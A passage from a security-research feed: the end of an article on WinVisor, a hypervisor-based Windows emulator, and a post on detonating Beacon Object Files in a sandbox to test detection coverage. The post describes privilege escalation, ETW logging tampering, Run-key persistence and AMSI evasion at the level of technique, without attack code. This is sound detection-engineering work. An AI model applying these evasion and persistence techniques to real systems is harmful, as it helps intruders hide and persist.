been loaded may have set global flags during their initialization process. For example, <code>ucrtbase.dll</code> checks if the CPU supports AVX via the <code>CPUID</code> instruction on startup and, if so, sets a global flag to allow the CRT to use AVX instructions for optimization reasons. If the virtual CPU attempts to execute these AVX instructions without explicitly enabling them in <code>XCR0</code> first, an undefined instruction exception will be raised.</p> <ol start="5"> <li> <p>Manually update <code>DS</code>, <code>ES</code>, and <code>GS</code> data segment selectors to their CPL3 equivalents (<code>0x2B</code>). Execute the <code>SWAPGS</code> instruction to load the TEB base address from <code>MSR_KERNEL_GS_BASE</code>.</p> </li> <li> <p>Finally, use the <code>SYSRET</code> instruction to transition into CPL3. Prior to the <code>SYSRET</code> instruction, <code>RCX</code> is set to a placeholder address (CPL3 entry point), and <code>R11</code> is set to the initial CPL3 RFLAGS value (<code>0x202</code>). The <code>SYSRET</code> instruction automatically switches the <code>CS</code> and <code>SS</code> segment selectors to their CPL3 equivalents from <code>MSR_STAR</code>.</p> </li> </ol> <p>When the <code>SYSRET</code> instruction executes, a page fault will be raised due to the invalid placeholder address in <code>RIP</code>. The emulator will catch this page fault and recognize it as a “special” address. The initial CPL3 register values will then be copied into the virtual CPU, <code>RIP</code> is updated to point to a custom user-mode loader function, and execution resumes. This function loads all DLL dependencies for the target executable, populates the IAT table, executes TLS callbacks, and then executes the original entry point. The import table and TLS callbacks are handled at this stage, rather than earlier on, to ensure their code is executed within the virtualized environment.</p> <h2>Memory paging</h2> <p>All memory management for the guest must be handled manually. This means a paging table must be populated and maintained, allowing the virtual CPU to translate a virtual address to a physical address.</p> <h3>Virtual address translation</h3> <p>For those who are not familiar with paging in x64, the paging table has four levels: <code>PML4</code>, <code>PDPT</code>, <code>PD</code>, and <code>PT</code>. For any given virtual address, the CPU walks through each layer of the table, eventually reaching the target physical address. Modern CPUs also support 5-level paging (in case the 256TB of addressable memory offered by 4-level paging isn't enough!), but this is irrelevant for the purposes of this project.</p> <p>The following image illustrates the format of a sample virtual address:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/winvisor-hypervisor-based-emulator/5WT-image.png" alt="Breakdown of an example virtual address" title="Breakdown of an example virtual address" /></p> <p>Using the example above, the CPU would calculate the physical page corresponding to the virtual address <code>0x7FFB7D030D10</code> via the following table entries: <code>PML4[0xFF]</code> -> <code>PDPT[0x1ED]</code> -> <code>PD[0x1E8]</code> -> <code>PT[0x30]</code>. Finally, the offset (<code>0xD10</code>) will be added to this physical page to calculate the exact address.</p> <p>Bits <code>48</code> - <code>63</code> within a virtual address are unused in 4-level paging and are essentially sign-extended to match bit <code>47</code>.</p> <p>The <code>CR3</code> control register contains the physical address of the base <code>PML4</code> table. When paging is enabled (mandatory in long-mode), all other addresses within the context of the CPU refer to virtual addresses.</p> <h3>Page faults</h3> <p>When the guest attempts to access memory, the virtual CPU will raise a page fault exception if the requested page isn't already present in the paging table. This will trigger a VM Exit event and pass control back to the host. When this occurs, the <code>CR2</code> control register contains the requested virtual address, although the WHP API already provides this value within the VM Exit context data. The host can then map the requested page into memory (if possible) and resume execution or throw an error if the target address is invalid.</p> <h3>Host/guest memory mirroring</h3> <p>As mentioned earlier, the emulator creates a child process, and all virtual memory within that process will be mapped directly into the guest using the same address layout. The Hypervisor Platform API allows us to map virtual memory from the host user-mode process directly into the physical memory of the guest. The paging table will then map virtual addresses to the corresponding physical pages.</p> <p>Instead of mapping the entire address space of the process upfront, a fixed number of physical pages are allocated for the guest. The emulator contains a very basic memory manager, and pages are mapped "on demand." When a page fault occurs, the requested page will be paged in, and execution resumes. If all page "slots" are full, the oldest entry is swapped out to make room for the new one.</p> <p>In addition to using a fixed number of currently mapped pages, the emulator also uses a fixed-size page table. The size of the page table is determined by calculating the maximum possible number of tables for the amount of mapped page entries. This model results in a simple and consistent physical memory layout but comes at the cost of efficiency. In fact, the paging tables take up more space than the actual page entries.</p> <p>There is a single PML4 table, and in the worst-case scenario, each mapped page entry will reference unique PDPT/PD/PT tables. As each table is <code>4096</code> bytes, the total page table size can be calculated using the following formula:</p> <pre><code>PAGE_TABLE_SIZE = 4096 + (MAXIMUM_MAPPED_PAGES * 4096 * 3) </code></pre> <p>By default, the emulator allows for <code>256</code> pages to be mapped at any one time (<code>1024KB</code> in total). Using the formula above, we can calculate that this will require <code>3076KB</code> for the paging table, as illustrated below:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/winvisor-hypervisor-based-emulator/8gv-image.png" alt="Diagram illustrating the physical memory map within the virtualized guest" title="Diagram illustrating the physical memory map within the virtualized guest" /></p> <p>In practice, many of the page table entries will be shared, and a lot of the space allocated for the paging tables will remain unused. However, as this emulator functions well even with a small number of pages, this level of overhead is not a major concern.</p> <p>The CPU maintains a hardware-level cache for the paging table known as the Translation Lookaside Buffer (TLB). When translating a virtual address to a physical address, the CPU will first check the TLB. If a matching entry is not found in the cache (known as a “TLB miss”), the paging tables will be read instead. For this reason, it is important to flush the TLB cache whenever the paging tables have been rebuilt to prevent it from falling out of sync. The simplest way to flush the entire TLB is to reset the <code>CR3</code> register value.</p> <h2>Syscall handling</h2> <p>As the target program executes, any system calls that occur within the guest must be handled by the host. This emulator handles both <code>SYSCALL</code> instructions and legacy (interrupt-based) syscalls. <code>SYSENTER</code> is not used in long-mode and, therefore, is not supported by WinVisor.</p> <h3>Fast syscall (SYSCALL)</h3> <p>When a <code>SYSCALL</code> instruction executes, the CPU transitions to CPL0 and loads <code>RIP</code> from <code>MSR_LSTAR</code>. In the Windows kernel, this would point to <code>KiSystemCall64</code>. <code>SYSCALL</code> instructions won't inherently trigger a VM Exit event, but the emulator sets <code>MSR_LSTAR</code> to a reserved placeholder address — <code>0xFFFF800000000000</code> in this case. When a <code>SYSCALL</code> instruction is executed, a page fault will be raised when RIP is set to this address, and the call can be intercepted. This placeholder is a kernel address in Windows and won't cause any conflicts with the user-mode address space.</p> <p>Unlike legacy syscalls, the <code>SYSCALL</code> instruction doesn't swap the <code>RSP</code> value during the transition to CPL0, so the user-mode stack pointer can be retrieved directly from <code>RSP</code>.</p> <h3>Legacy syscalls (INT 2E)</h3> <p>Legacy interrupt-based syscalls are slower and have more overhead than the <code>SYSCALL</code> instruction, but despite this, they are still supported by Windows. As the emulator already contains a framework for handling interrupts, adding support for legacy syscalls is very simple. When a legacy syscall interrupt is caught, it can be forwarded to the “common” syscall handler after some minor translations — specifically, retrieving the stored user-mode <code>RSP</code> value from the CPL0 stack.</p> <h3>Syscall forwarding</h3> <p>After the emulator creates the "main thread" whose context gets cloned into the virtual CPU, this native thread is reused as a proxy to forward syscalls to the host. Reusing the same thread maintains consistency for the TEB and any kernel state between the guest and the host. Win32k, in particular, relies on many thread-specific states, which should be reflected in the emulator.</p> <p>When a syscall occurs, either by a <code>SYSCALL</code> instruction or a legacy interrupt, the emulator intercepts it and transfers it to a universal handler function. The syscall number is stored in the <code>RAX</code> register, and the first four parameter values are stored in <code>R10</code>, <code>RDX</code>, <code>R8</code>, and <code>R9</code>, respectively. <code>R10</code> is used for the first parameter instead of the usual <code>RCX</code> register because the <code>SYSCALL</code> instruction overwrites <code>RCX</code> with the return address. The legacy syscall handler in Windows (<code>KiSystemService</code>) also uses <code>R10</code> for compatibility, so it doesn’t need to be handled differently in the emulator. The remaining parameters are retrieved from the stack.</p> <p>We don’t know the exact number of parameters expected for any given syscall number, but luckily, this doesn’t matter. We can simply use a fixed amount, and as long as the number of supplied parameters is greater than or equal to the actual number, the syscall will function correctly. A simple assembly stub will be dynamically created, populating all of the parameters, executing the target syscall, and returning cleanly.</p> <p>Testing showed that the maximum number of parameters currently used by Windows syscalls is <code>17</code> (<code>NtAccessCheckByTypeResultListAndAuditAlarmByHandle</code>, <code>NtCreateTokenEx</code>, and <code>NtUserCreateWindowEx</code>). WinVisor uses <code>32</code> as the maximum number of parameters to allow for potential future expansion.</p> <p>After executing the syscall on the host, the return value is copied to <code>RAX</code> in the guest. <code>RIP</code> is then transferred to a <code>SYSRET</code> instruction (or <code>IRETQ</code> for legacy syscalls) before resuming the virtual CPU for a seamless transition back to user-mode.</p> <h3>Syscall logging</h3> <p>By default, the emulator simply forwards guest syscalls to the host and logs them to the console. However, some additional steps are necessary to convert the raw syscalls into a readable format.</p> <p>The first step is to convert the syscall number to a name. Syscall numbers are made up of multiple parts: bits <code>12</code> - <code>13</code> contain the system service table index (<code>0</code> for <code>ntoskrnl</code>, <code>1</code> for <code>win32k</code>), and bits <code>0</code> - <code>11</code> contain the syscall index within the table. This information allows us to perform a reverse-lookup within the corresponding user-mode module (<code>ntdll</code> / <code>win32u</code>) to resolve the original syscall name.</p> <p>The next step is to determine the number of parameter values to display for each syscall. As mentioned above, the emulator passes <code>32</code> parameter values to each syscall, even if most of them are not used. However, logging all <code>32</code> values for each syscall wouldn't be ideal for readability reasons. For example, a simple <code>NtClose(0x100)</code> call would be printed as <code>NtClose(0x100, xxx, xxx, xxx, xxx, xxx, xxx, xxx, xxx, ...)</code>. As mentioned earlier, there is no simple way to automatically determine the exact number of parameters for each syscall, but there is a trick that we can use to estimate it with high accuracy.</p> <p>This trick relies on the 32-bit system libraries used by WoW64. These libraries use the stdcall calling convention, which means the caller pushes all parameters onto the stack, and they are cleaned internally by the callee before returning. In contrast, native x64 code places the first 4 parameters into registers, and the caller is responsible for managing the stack.</p> <p>For example, the <code>NtClose</code> function in the WoW64 version of <code>ntdll.dll</code> ends with the <code>RET 4</code> instruction. This pops an additional 4-bytes off the stack after the return address, which implies that the function takes one parameter. If the function used <code>RET 8</code>, this would suggest that it takes 2 parameters, and so on.</p> <p>Even though the emulator runs as a 64-bit process, we can still load the 32-bit copies of <code>ntdll.dll</code> and <code>win32u.dll</code> into memory - either manually or mapped using <code>SEC_IMAGE</code>. A custom version of <code>GetProcAddress</code> must be written to resolve the WoW64 export addresses, but this is a trivial task. From here, we can automatically find the corresponding WoW64 export for each syscall, scan for the <code>RET</code> instruction to calculate the number of parameters, and store the value in a lookup table.</p> <p>This method is not perfect, and there are a number of ways that this could fail:</p> <ul> <li>A small number of native syscalls don't exist in WoW64, such as <code>NtUserSetWindowLongPtr</code>.</li> <li>If a 32-bit function contains a 64-bit parameter, it will be split into 2x 32-bit parameters internally, whereas the corresponding 64-bit function would only require a single parameter for the same value.</li> <li>The WoW64 syscall stub functions within Windows could change in such a way that causes the existing <code>RET</code> instruction search to fail.</li> </ul> <p>Despite these pitfalls, the results will be accurate for the vast majority of syscalls without having to rely on hardcoded values. In addition, these values are only used for logging purposes and won't affect anything else, so minor inaccuracies are acceptable in this context. If a failure is detected, it will revert back to displaying the maximum number of parameter values.</p> <h3>Syscall hooking</h3> <p>If this project were being used for sandboxing purposes, blindly forwarding all syscalls to the host would be undesirable for obvious reasons. The emulator contains a framework that allows specific syscalls to be easily hooked if necessary.</p> <p>By default, only <code>NtTerminateThread</code> and <code>NtTerminateProcess</code> are hooked to catch the guest process exiting.</p> <h2>Interrupt handling</h2> <p>Interrupts are defined by the IDT, which is populated before the virtual CPU execution begins. When an interrupt occurs, the current CPU state is pushed onto the CPL0 stack (<code>SS</code>, <code>RSP</code>, <code>RFLAGS</code>, <code>CS</code>, <code>RIP</code>), and <code>RIP</code> is set to the target handler function.</p> <p>As with <code>MSR_LSTAR</code> for the SYSCALL handler, the emulator populates all interrupt handler addresses with placeholder values (<code>0xFFFFA00000000000</code> - <code>0xFFFFA000000000FF</code>). When an interrupt occurs, a page fault will occur within this range, which we can catch. The interrupt index can be extracted from the lowest 8-bits of the target address (e.g., <code>0xFFFFA00000000003</code> is <code>INT 3</code>), and the host can handle it as necessary.</p> <p>At present, the emulator only handles <code>INT 1</code> (single-step), <code>INT 3</code> (breakpoint), and <code>INT 2E</code> (legacy syscall). If any other interrupt is caught, the emulator will exit with an error.</p> <p>When an interrupt has been handled, <code>RIP</code> is transferred to an <code>IRETQ</code> instruction, which returns to user-mode cleanly. Some types of interrupts push an additional "error code" value onto the stack - if this is the case, it must be popped prior to the <code>IRETQ</code> instruction to avoid stack corruption. The interrupt handler framework within this emulator contains an optional flag to handle this transparently.</p> <h2>Hypervisor shared page bug</h2> <p>Windows 10 introduced a new type of shared page which is located close to <code>KUSER_SHARED_DATA</code>. This page is used by timing-related functions such as <code>RtlQueryPerformanceCounter</code> and <code>RtlGetMultiTimePrecise</code>.</p> <p>The exact address of this page can be retrieved with <code>NtQuerySystemInformation</code>, using the <code>SystemHypervisorSharedPageInformation</code> information class. The <code>LdrpInitializeProcess</code> function stores the address of this page in a global variable (<code>RtlpHypervisorSharedUserVa</code>) during process startup.</p> <p>The WHP API seems to contain a bug that causes the <code>WHvRunVirtualProcessor</code> function to get stuck in an infinite loop if this shared page is mapped into the guest and the virtual CPU attempts to read from it.</p> <p>Time constraints limited the ability to fully investigate this; however, a simple workaround was implemented. The emulator patches the <code>NtQuerySystemInformation</code> function within the target process and forces it to return <code>STATUS_INVALID_INFO_CLASS</code> for <code>SystemHypervisorSharedPageInformation</code> requests. This causes the <code>ntdll</code> code to fall back to traditional methods.</p> <h2>Demos</h2> <p>Some examples of common Windows executables being emulated under this virtualized environment below:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/winvisor-hypervisor-based-emulator/Slj_Image_3.png" alt="ping.exe being emulated by WinVisor" title="ping.exe being emulated by WinVisor" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/winvisor-hypervisor-based-emulator/gs2_Image_4.png" alt="cmd.exe being emulated by WinVisor" title="cmd.exe being emulated by WinVisor" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/winvisor-hypervisor-based-emulator/zkL_Image_5.png" alt="notepad.exe being emulated by WinVisor, including a hooked syscall (NtUserCreateWindowEx) for demonstration purposes" title="notepad.exe being emulated by WinVisor, including a hooked syscall (NtUserCreateWindowEx) for demonstration purposes" /></p> <h2>Limitations</h2> <p>The emulator has several limitations that make it unsafe to use as a secure sandbox in its current form.</p> <h3>Safety issues</h3> <p>There are several ways to "escape" the VM, such as simply creating a new process/thread, scheduling asynchronous procedure calls (APCs), etc.</p> <p>Windows GUI-related syscalls can also make nested calls directly back into user-mode from the kernel, which would currently bypass the hypervisor layer. For this reason, GUI executables such as notepad.exe are only partially virtualized when run under WinVisor.</p> <p>To demonstrate this, WinVisor includes an <code>-nx</code> command-line switch to the emulator. This forces the entire target EXE image to be marked as non-executable in memory prior to starting the virtual CPU, causing the process to crash if the host process attempts to execute any of the code natively. However, this is still unsafe to rely on — the target application could make the region executable again or simply allocate executable memory elsewhere.</p> <p>As the WinVisor DLL is injected into the target process, it exists within the same virtual address space as the target executable. This means the code running under the virtual CPU is able to directly access the memory within the host hypervisor module, which could potentially corrupt it.</p> <h3>Non-executable guest memory</h3> <p>While the virtual CPU is set up to support NX, all memory regions are currently mirrored into the guest with full RWX access.</p> <h3>Single-thread only</h3> <p>The emulator currently only supports virtualizing a single thread. If the target executable creates additional threads, they will be executed natively. To support multiple threads, a pseudo-scheduler could be developed to handle this in the future.</p> <p>The Windows parallel loader is disabled to ensure all module dependencies are loaded by a single thread.</p> <h3>Software exceptions</h3> <p>Virtualized software exceptions are not currently supported. If an exception occurs, the system will call the <code>KiUserExceptionDispatcher</code> function natively as usual.</p> <h2>Conclusion</h2> <p>As seen above, the emulator performs well with a wide range of executables in its current form. While it is currently effective for logging syscalls and interrupts, a lot of further work would be required to make it safe to use for malware analysis purposes. Despite this, the project provides an effective framework for future development.</p> <h2>Project links</h2> <p><a href="https://github.com/x86matthew/WinVisor">https://github.com/x86matthew/WinVisor</a></p> <p>The author can be found on X at <a href="https://x.com/x86matthew">@x86matthew</a>.</p> ]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/winvisor-hypervisor-based-emulator/winvisor.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[Detonating Beacons to Illuminate Detection Gaps]]></title> <link>https://www.elastic.co/security-labs/detonating-beacons-to-illuminate-detection-gaps</link> <guid>detonating-beacons-to-illuminate-detection-gaps</guid> <pubDate>Thu, 09 Jan 2025 00:00:00 GMT</pubDate> <description><![CDATA[Learn how Elastic Security leveraged open-source BOFs to achieve detection engineering goals during our most recent ON week.]]></description> <content:encoded><![CDATA[<p>At Elastic, we continuously strive to mature our detection engineering processes in scalable ways, leveraging creative approaches to validate and enhance our capabilities. We recently concluded a quarterly Elastic OnWeek event, which we convene quarterly and provides an opportunity to explore problems differently than our regular day-to-day. This time around, we explored the potential of using Beacon Object Files (<a href="https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_main.htm">BOF</a>) for detection <em>validation</em>. We wanted to know how BOFs, combined with Elastic’s internal Detonate Service and the Elastic AI Assistant for Security, could streamline our ability to identify gaps, improve detection coverage, and explore new detection engineering challenges. This builds on our other internal tools and validation efforts, making blue team development more efficient by directly leveraging the improvements in red team development efficiency.</p> <h2>Tapping into OpenSource Red Team Contributions</h2> <p>The evolution of offensive tooling in cybersecurity reflects an ongoing arms race between red teams and defenders, marked by continuous innovation on both sides:</p> <ul> <li>Initially, red teamers leveraged PowerShell, taking advantage of its deep integration with Windows to execute commands and scripts entirely in memory, avoiding traditional file-based operations.</li> <li>This technique was countered by the introduction of the Antimalware Scan Interface (<a href="https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal">AMSI</a>), which provided real-time inspection to prevent harmful activity.</li> <li>Offensive operators adapted through obfuscation and version downgrades to bypass AMSI’s controls. The focus shifted to C# and the .NET CLR (common language runtime), which offered robust capabilities for in-memory execution, evading inconvenient PowerShell-specific protections.</li> <li>AMSI’s expansion to CLR-based scripts (C#), prompted the development of tools like <a href="https://thewover.github.io/Introducing-Donut/">Donut</a>, converting .NET assemblies into shellcode to bypass AMSI checks.</li> <li>With process injection becoming a prevalent technique for embedding code into legitimate processes, defenders introduced API hooking to monitor and block such activity.</li> <li>To counter process and syscall detections, red teams migrated to fork-and-run techniques, creating ephemeral processes to execute payloads and quickly terminate, further reducing the detection footprint.</li> <li>The latest innovation in this progression is the use of Beacon Object Files (BOFs), which execute lightweight payloads directly into an existing process’s memory, avoiding fork-and-run mechanisms and eliminating the need for runtime environments like the .NET CLR.</li> </ul> <p>TL;DR: The evolution (EXE --> DLL --> reflective C++ DLL --> PowerShell -> reflective C# -> C BOF --> C++ BOF --> bytecode) was all about writing shellcode more efficiently, and running it with just enough stealth.</p> <p>With a growing number of <a href="https://github.com/N7WEra/BofAllTheThings">BOF GitHub contributions</a> covering multiple techniques, they are ideal for evaluating gaps and exploring procedure-level events. BOFs are generally small C-based programs that execute within the context of a COBALTSTRIKE BEACON agent. Since introduced, they’ve become a staple for red team operations. Even practitioners who don't use COBALTSTRIKE can take advantage of BOFs using third-party loaders, a great example of the ingenuity of the offensive research community. One example used in this exploration is <a href="https://github.com/trustedsec/COFFLoader">COFFLoader</a>, originally <a href="https://www.trustedsec.com/blog/bofs-for-script-kiddies">introduced</a> in 2023 by TrustedSec, designed to load Common Object File Format (COFF) files. COFFs (the opened standard for BOFs), are essentially your compiled .o object files - e.g. BOF with extra support for in-memory execution. Other more recent examples include the rust-based <a href="https://github.com/hakaioffsec/coffee">Coffee</a> loader by Hakai Security and the GoLang-based implementation <a href="https://github.com/praetorian-inc/goffloader">Goffloader</a> by Praetorian.<br /> Loading COFF/BOF objects have become a standard feature in many C2 frameworks such as Havoc, Metasploit, PoshC2, and Sliver, with some directly utilizing COFFLoader for execution. With little setup, prebuilt BOFs and a loader like COFFLoader can quickly enable researchers to test a wide range of specific techniques on their endpoints.</p> <h2>Experimentation Powered by Detonate</h2> <p>Setting up and maintaining a robust system for BOF execution, VM endpoint testing, and Elastic Security’s Defend in a repeatable manner can be a significant engineering challenge, especially when isolating detonations, collecting results, and testing multiple samples. To streamline this process and make it as efficient as possible, Elastic built the internal Detonate service, which handles the heavy lifting and minimizes the operational overhead.</p> <p>If you’re unfamiliar with Elastic’s Internal Detonate service, check out <a href="https://www.elastic.co/security-labs/click-click-boom-automating-protections-testing-with-detonate">Part 1 - Click, Click…Boom!</a> where we introduce Detonate, why we built it, explore how Detonate works, describe case studies, and discuss efficacy testing. If you want a deeper dive, head over to <a href="https://www.elastic.co/security-labs/into-the-weeds-how-we-run-detonate">Part 2 - Into The Weeds: How We Run Detonate</a> where we describe the APIs leveraged to automate much of our exploration. It is important to note that Detonate is still a prototype, not yet an enterprise offering, and as such, we’re experimenting with its potential applications and fine-tuning its capabilities.</p> <p>For this ON week project, the complexity was distilled down to one API call that uploads and executes the BOF, and a subsequent optional second API call to fetch behavior alert results.</p> <h2>Validating Behavior Detections via BOFs</h2> <p>We used automation for the tedious behind-the-scenes work because ON week is about the more interesting research findings, but we wanted to share some of the challenges and pain points of this kind of technology in case you're interested in building your own detonation framework. If you’re interested in following along in general, we’ll walk through some of the nuances and pain points.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/detonating-beacons-to-illuminate-detection-gaps/image4.png" alt="BOF Detonating Experimentation Pipeline" /></p> <p>At a high level, this depicts an overview of the different components integrated into the automation. All of the core logic was centralized into a simple CLI POC tool to help manage the different phases of the experiment.</p> <h2>Framing a Proof of Concept</h2> <p>The CLI provides sample commands to analyze a sample BOF’s .c source file, execute BOF’s within our Detonate environment, monitor specific GitHub repositories for BOF changes, and show detonation results with query recommendations if they’re available.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/detonating-beacons-to-illuminate-detection-gaps/image6.png" alt="Sample PoC Commands" /></p> <h3>Scraping and Preprocessing BOFs - Phases 1 and 2</h3> <p>For a quickstart guide, navigate to <a href="https://github.com/N7WEra/BofAllTheThings">BofAllTheThings</a>, which includes several GitHub repositories worth starting with. The list isn’t actively maintained, so with some Github <a href="https://github.com/topics/bof">topic searches for <code>bof</code></a>, you may encounter more consistently updated examples like <a href="https://github.com/fortra/nanodump">nanodump</a>.</p> <p>Standardizing BOFs to follow a common format significantly improves the experimentation and repeatability. Different authors name their <code>.c</code> source and <code>.o</code> BOF files differently so to streamline the research process, we followed TrustedSec’s <a href="https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/CONTRIBUTING.md">CONTRIBUTING</a> guide and file conventions to consistently name files and place them in a common folder structure. We generally skipped GitHub repositories that did not include source with their BOFs (because we wanted to be certain of what they were doing <em>before</em> executing them), and prioritized examples with Makefiles. As each technique was processed, they were manually formatted to follow the conventions (e.g. renaming the main <code>.c</code> file to <code>entry.c</code>, compiling with a matching file and directory name, etc.).</p> <p>With the BOFs organized, we were able to parse the entry files, search for the <code>go</code> method that defines the key functions and arguments. We parse these arguments and convert them to hex, similarly to the way <a href="https://github.com/trustedsec/COFFLoader/blob/main/beacon_generate.py">beacon_generate.py</a> does, before shipping the BOF and all accompanying materials to Detonate.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/detonating-beacons-to-illuminate-detection-gaps/image2.png" alt="Sample Generated BOF Arguments" /></p> <p>After preprocessing the arguments, we stored them locally in a <code>json</code> file and retrieved the contents whenever we wanted to detonate the BOF or all BOFs.</p> <h3>Submitting Detonations - Phase 3</h3> <p>There is a <code>detonate</code> command and <code>detonate-all</code> that uploads the local BOF to the Detonate VM instance with the arguments. When a Detonate task is created, metadata about the BOF job is stored locally so that results can be retrieved later.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/detonating-beacons-to-illuminate-detection-gaps/image3.png" alt="Netuser BOF Detonation" /></p> <p>For detection engineering and regression testing, detonating all BOF files enables us to submit a periodic long-lasting job, starting with deploying and configuring virtual machines and ending with submitting generative AI completions for detection recommendations.</p> <h3>BOF Detonate Examples</h3> <p>Up to this point, the setup is primarily a security research engineering effort. The detection engineering aspect begins when we can start analyzing results, investigating gaps, and developing additional rules. Each BOF submitted is accompanied by a Detonate job that describes the commands executed, execution logs, and any detections. In these test cases, different detections appeared during different aspects of the test (potential shellcode injection, malware detection, etc.). The following BOFs were selected based on their specific requirements for arguments, which were generated using the <a href="https://github.com/trustedsec/COFFLoader/blob/main/beacon_generate.py">beacon_generate.py</a> script, as previously explained. Some BOFs require arguments to be passed to them during execution, and these arguments are crucial for tailoring the behaviour of the BOF to the specific test case scenario. The table below lists the BOFs explored in this section:</p> <table> <thead> <tr> <th align="left">BOF</th> <th align="left">Type of BOF</th> <th align="left">Arguments Expected</th> </tr> </thead> <tbody> <tr> <td align="left">netuser</td> <td align="left">Enumeration</td> <td align="left">[username] [opt: domain]</td> </tr> <tr> <td align="left">portscan</td> <td align="left">Enumeration</td> <td align="left">[ipv4] [opt: port]</td> </tr> <tr> <td align="left">Elevate-System-Trusted-BOF</td> <td align="left">Privilege Escalation</td> <td align="left">None</td> </tr> <tr> <td align="left">etw</td> <td align="left">Logging Manipulation</td> <td align="left">None</td> </tr> <tr> <td align="left">RegistryPersistence</td> <td align="left">Persistence</td> <td align="left">None (See notes below)</td> </tr> </tbody> </table> <p>BOF Used: <a href="https://github.com/rvrsh3ll/BOF_Collection/tree/master/Network/PortScan">PortScan</a><br /> Purpose: Enumeration technique that scans a single port on a remote host.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/detonating-beacons-to-illuminate-detection-gaps/image9.png" alt="BOF Detonation: PortScan" /></p> <p>The detonation log shows expected output of <code>COFFLoader64.exe</code> loading the <code>portscan.x64.o</code> sample, showing that port <code>22</code> was not open as expected on the test machine. Note: In this example two detections were triggered in comparison to the <code>netuser</code> BOF execution.</p> <p>BOF Used: <a href="https://github.com/Mr-Un1k0d3r/Elevate-System-Trusted-BOF">Elevate-System-Trusted-BOF</a><br /> Purpose: This BOF can be used to elevate the current beacon to SYSTEM and obtain the TrustedInstaller group privilege. The impersonation is done through the <code>SetThreadToken</code> API.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/detonating-beacons-to-illuminate-detection-gaps/image1.png" alt="BOF Detonation: Elevate-System-Trusted-BOF" /></p> <p>The detonation log shows expected output of <code>COFFLoader64.exe</code> successfully loading and executing the <code>elevate_system.x64.o</code> BOF. The log confirms the BOF’s intended behavior, elevating the process to SYSTEM and granting the TrustedInstaller group privilege. This operation, leveraging the <code>SetThreadToken</code> function, demonstrates privilege escalation effectively.</p> <p>BOF Used: <a href="https://github.com/ajpc500/BOFs/tree/main/ETW">ETW</a><br /> Purpose: Simple Beacon object file to patch (and revert) the <code>EtwEventWrite</code> function in <code>ntdll.dll</code> to degrade ETW-based logging. Check out the <a href="https://www.elastic.co/security-labs/kernel-etw-best-etw">Kernel ETW</a> and <a href="https://www.elastic.co/security-labs/doubling-down-etw-callstacks">Kernel ETW Call Stack</a> material for more details.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/detonating-beacons-to-illuminate-detection-gaps/image11.png" alt="BOF Detonation: ETW" /></p> <p>The detonation log confirms the successful execution of the <code>etw.x64.o</code> BOF using <code>COFFLoader64.exe</code>. This BOF manipulates the <code>EtwEventWrite</code> function in <code>ntdll.dll</code> to degrade ETW-based logging. The log verifies the BOF’s capability to disable key telemetry temporarily, a common defense evasion tactic.</p> <p>BOF Used: <a href="https://github.com/rvrsh3ll/BOF_Collection/tree/master/Persistence">RegistryPersistence</a><br /> Purpose: Installs persistence in Windows systems by adding an entry under <code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code>. The persistence works by running a PowerShell command (dummy payload in this case) on startup via the registry. In the case of the RegistryPersistence BOF, the source code (.C) was modified so that the registry entry under <code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code> would be created if it did not already exist. Additionally, debugging messages were added to the code, which print to the Beacon’s output using the <code>BeaconPrintf</code> function, aiding in monitoring and troubleshooting the persistence mechanism during execution.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/detonating-beacons-to-illuminate-detection-gaps/image1.png" alt="BOF Detonation: RegistryPersistence" /></p> <p>The detonation log displays the expected behavior of the <code>registrypersistence.x64.o</code> BOF. It successfully modifies the Windows registry under <code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code>, adding a persistence mechanism. The entry executes a PowerShell command (empty payload in this case) on system startup, validating the BOF’s intended persistence functionality.</p> <h3>Showing Results - Phase 4</h3> <p>Finally, the <code>show-results</code> command lists the outcomes of the BOFs; whether a behavior detection successfully caught the technique, and a recommended query to quickly illustrate key ECS fields to build into a robust detection (or use to tune an existing rule). BOFs that are detected by an existing behavior detection do not go through the additional query recommendation workflow.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/detonating-beacons-to-illuminate-detection-gaps/image10.png" alt="Query Recommendation Within Results" /></p> <p>Fortunately, as described in <a href="https://www.elastic.co/blog/whats-new-elastic-security-8-15-0">NEW in Elastic Security 8.15: Automatic Import, Gemini models, and AI Assistant APIs</a>, the Elastic AI Assistant for Security exposes new capabilities to quickly generate a recommendation based on the context provided (by simply hitting the available <a href="https://www.elastic.co/docs/api/doc/kibana/v8/operation/operation-performanonymizationfieldsbulkaction">API</a>). A simple HTTP request makes it easy to ship contextual information about the BOF and sample logs to ideate on possible improvements.</p> <p><code>conn.request("POST", "/api/security_ai_assistant/chat/complete", payload, headers)</code></p> <p>To assess the accuracy of the query recommendations, we employed a dataset of labeled scenarios and benign activities to establish a “ground truth” and evaluated how the query recommendations performed in distinguishing between legitimate and malicious activities. Additionally, the prompts used to generate the rules were iteratively tuned until a satisfactory response was generated, where the <em>expected</em> query closely aligned with the <em>actual</em> rule generated, ensuring that the AI Assistant provided relevant and accurate recommendations.</p> <p>In the netuser BOF example, the returned detonation data contained no existing detections but included events <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4798">4798</a>, based on the BOF context (user enumeration) and the Windows 4798 event details the Elastic AI Assistant rightly recommended the use of that event for detection.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/detonating-beacons-to-illuminate-detection-gaps/image5.png" alt="Elastic Raw Events from BOF" /></p> 